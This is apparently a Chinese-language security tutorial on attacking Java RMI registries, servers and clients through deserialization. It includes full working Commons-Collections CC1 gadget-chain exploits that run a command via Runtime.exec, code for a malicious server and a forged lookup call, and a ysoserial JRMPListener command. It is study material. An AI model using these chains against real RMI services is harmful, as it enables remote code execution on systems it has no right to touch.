RMI

概述

RMI(Remote Method Invocation)是计算机之间通过网络实现对象调用的一种通讯机制。它允许在Java虚拟机(JVM)之间进行通信,使得在一个JVM中的对象可以调用另一个JVM中的对象的方法,就像这些对象都在同一个JVM中一样。

服务端(Server):

  • 服务端创建一个远程对象,并实现一个或多个远程接口。
  • 服务端启动 RMI 注册表,并将远程对象绑定到注册表中。

客户端(Client):

  • 客户端从 RMI 注册表中查找所需的远程对象。
  • 客户端获取远程对象的引用,并调用其方法。

测试环境:JDK8u41

RMIServer.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class RMIServer {
// 接口
public interface IRemoteObj extends Remote {
public String hello(String para) throws RemoteException;
}
public class RemoteObjImpl extends UnicastRemoteObject implements IRemoteObj {
protected RemoteObjImpl() throws RemoteException {
super();
}
public String hello(String para) throws RemoteException {
System.out.println(para);
return "over";
}
}
private void start() throws Exception {
// 实例化远程对象
RemoteObjImpl h = new RemoteObjImpl();
// 创建注册中心
LocateRegistry.createRegistry(1099);
// 绑定对象示例到注册中心
Naming.rebind("rmi://127.0.0.1:1099/Remote", h);

// Naming.rebind(静态方法) 和 registry.bind(实例方法) 都是将一个远程对象绑定到 RMI 注册表中,Naming.rebind()方法是JNDI的一部分
// RemoteObjImpl h = new RemoteObjImpl();
// Registry registry = LocateRegistry.createRegistry(1099);
// registry.bind("Remote", h);
}

public static void main(String[] args) throws Exception {
new RMIServer().start();
}
}

RMIClient.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
public static void main(String[] args) throws Exception {
RMIServer.IRemoteObj h = (RMIServer.IRemoteObj)
Naming.lookup("rmi://127.0.0.1:1099/Remote");
System.out.println(h.hello("hello world"));

// java.rmi.registry.Registry
// Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
// RMIServer.IRemoteObj remoteObj = (RMIServer.IRemoteObj) registry.lookup("Remote");
// System.out.println(remoteObj.hello("hello world"));
}
}

攻击注册中心

与注册中心进行交互方法:list、bind、rebind、unbind、lookup

1
Naming.bind("rmi://127.0.0.1:1099/Remote", new RemoteObjImpl());

这几种方法位于RegistryImpl_Skel#dispatch中,如果存在对传入的对象调用readObject()方法,则可以利用dispatch里面对应如下:

  • 0 —– bind
  • 1 —– list
  • 2 —– lookup
  • 3 —– rebind
  • 4 —– unbind

list

只有writeObject(),没有readObject()

1
2
3
4
5
6
7
8
import java.rmi.Naming;

public class RegistryListAttack {
public static void main(String[] args) throws Exception{
String[] s = Naming.list("rmi://127.0.0.1:1099");
System.out.println(s);
}
}

image-20240319202514423

bind 或 rebind

Server 端在执行 bind 或者 rebind 方法的时候会将对象以序列化的形式传输给 Registry,导致 Registry 反序列化被 RCE

CC依赖

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

CC1_TransformedMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class AttackRegistryEXP {
public static Object CC1_TransformedMap() throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class); // test

HashMap<Object,Object> map = new HashMap<>();
map.put("value","abc"); // 添加键值对
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);

// AnnotationInvocationHandler类是default,不能直接获取
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object o = annotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);

return o;
}

public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
InvocationHandler invocationHandler = (InvocationHandler) CC1_TransformedMap();
Remote remote = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),new Class[] {Remote.class}, invocationHandler));
registry.bind("test",remote);
}
}

image-20240319204757003

lookup 或 unbind

lookup 方法接收一个 String 类型的参数,无法直接利用,需要手动模拟 RegistryImpl_Stub#lookup 方法传递过程

image-20240320191230107

lookup 学习 lookupEXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import com.sun.corba.se.spi.orb.Operation;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.rmi.server.UnicastRef;

import java.io.ObjectOutput;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;

public class AttackRegistryEXP02 {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
InvocationHandler invocationHandler = (InvocationHandler) CC1_TransformedMap();
Remote remote = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),new Class[] { Remote.class }, invocationHandler));

Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);

//获取operations
Field[] fields_1 = registry.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry);

// 伪造lookup的代码,去伪造传输信息
RemoteCall var2 = ref.newCall((RemoteObject) registry, (java.rmi.server.Operation[]) operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(remote);
ref.invoke(var2);
}
public static Object CC1_TransformedMap() throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class); // test

HashMap<Object,Object> map = new HashMap<>();
map.put("value","abc"); // 添加键值对
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);

// AnnotationInvocationHandler类是default,不能直接获取
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object o = annotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);

return o;
}
}

攻击客户端

注册中心攻击客户端

unbindrebind返回数据给客户端的数据是序列化形式,那么到了客户端就会进行反序列化,如果我们能控制注册中心的返回数据,那么就能实现对客户端的攻击

1
java -cp .\ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'calc'

客户端

1
2
3
4
5
6
7
8
9
10
11
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Client {
public static void main(String[] args) throws RemoteException {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
registry.list();
}
}

服务端攻击客户端

服务端返回Object对象

在RMI中,远程调用方法传递回来的不一定是一个基础数据类型(String、int),也有可能是对象,当服务端返回给客户端一个对象时,客户端就要对应的进行反序列化。所以我们需要伪造一个服务端,当客户端调用某个远程方法时,返回的参数是我们构造好的恶意对象。这里以CC1为例:

User接口,返回的是Object对象

1
2
3
4
public interface User extends java.rmi.Remote {
public Object getUser() throws Exception;
}

服务端实现 User 接口,返回 CC1 的恶意 Object 对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;

public class ServerReturnObject extends UnicastRemoteObject implements User {
public String name;
public int age;

public ServerReturnObject(String name, int age) throws RemoteException {
super();
this.name = name;
this.age = age;
}

public Object getUser() throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Override.class,lazyMap);

Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);

Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,mapProxy);
return o;
}
}

服务端将恶意对象绑定到注册中心

1
2
3
4
5
6
7
8
9
10
11
12
13
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class EvilClassServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
User liming = new ServerReturnObject("liming",15);
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("user",liming);
}
}

客户端获取对象并调用 getUser() 方法,将反序列化服务端传来的恶意远程对象

1
2
3
4
5
6
7
8
9
10
11
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class EvilClient {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
User user = (User) registry.lookup("user");
user.getUser();
}
}

image-20240319215932536

加载远程对象

这个就是 P神 写的那个,codebase 这种。这个可用性还是不咋样,我个人觉得本身这个注册中心,或者是服务端打出来,就没啥意义;再加上利用条件苛刻,就更没劲了。

当服务端的某个方法返回的对象是客户端没有的时,客户端可以指定一个URL,此时会通过URL来实例化对象。

java.rmi.server.codebase:codebase是一个地址,告诉Java虚拟机我们应该从哪个地方去搜索类,有点像我们日常用的 CLASSPATH,但CLASSPATH是本地路径,而codebase通常是远程URL,比如http、ftp等。

RMI核心特点之一就是动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class,动态加载的class文件可以使用http://ftp://、file://进行托管。这可以动态的扩展远程应用的功能,RMI注册表上可以动态的加载绑定多个RMI应用。对于客户端而言,如果服务端方法的返回值可能是一些子类的对象实例,而客户端并没有这些子类的class文件,如果需要客户端正确调用这些子类中被重写的方法,客户端就需要从服务端提供的java.rmi.server.codebaseURL去加载类;对于服务端而言,如果客户端传递的方法参数是远程对象接口方法参数类型的子类,那么服务端需要从客户端提供的java.rmi.server.codebaseURL去加载对应的类。客户端与服务端两边的java.rmi.server.codebaseURL都是互相传递的。无论是客户端还是服务端要远程加载类,都需要满足以下条件:

  1. 由于Java SecurityManager的限制,默认是不允许远程加载的,如果需要进行远程加载类,需要安装RMISecurityManager并且配置java.security.policy,这在后面的利用中可以看到。
  2. 属性 java.rmi.server.useCodebaseOnly 的值必需为false。但是从JDK 6u45、7u21开始,java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前虚拟机的java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止虚拟机从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

总的来说利用条件十分苛刻,可用性不强。

攻击服务端

客户端打服务端

  • jdk版本1.7
  • 使用具有漏洞的Commons-Collections3.1组件
  • RMI提供的数据有Object类型(攻击payload就是Object类型)

服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;

public class VictimServer {
public interface RemoteObj extends Remote {
public void evil(Object obj);

}
public class RemoteHelloWorld extends UnicastRemoteObject implements RemoteObj {
protected RemoteHelloWorld() throws RemoteException {
super();
}

@Override
public void evil(Object obj) {
System.out.println("调用了evil方法,传递对象为:" + obj);
}
}
private void start() throws Exception {
RemoteHelloWorld h = new RemoteHelloWorld();
LocateRegistry.createRegistry(1099);
Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
}

public static void main(String[] args) throws Exception {
new VictimServer().start();
}
}

客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;


public class RMIClient {
public static void main(String[] args) throws Exception {
VictimServer.RemoteObj r = (VictimServer.RemoteObj) Naming.lookup("rmi://127.0.0.1:1099/Hello");
r.evil(getpayload());
}

public static Object getpayload() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap();
map.put("value", "lala");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
return instance;
}

}

远程加载对象

和上边Server打Client一样利用条件非常苛刻

参考:https://paper.seebug.org/1091/#serverrmi

⬆︎TOP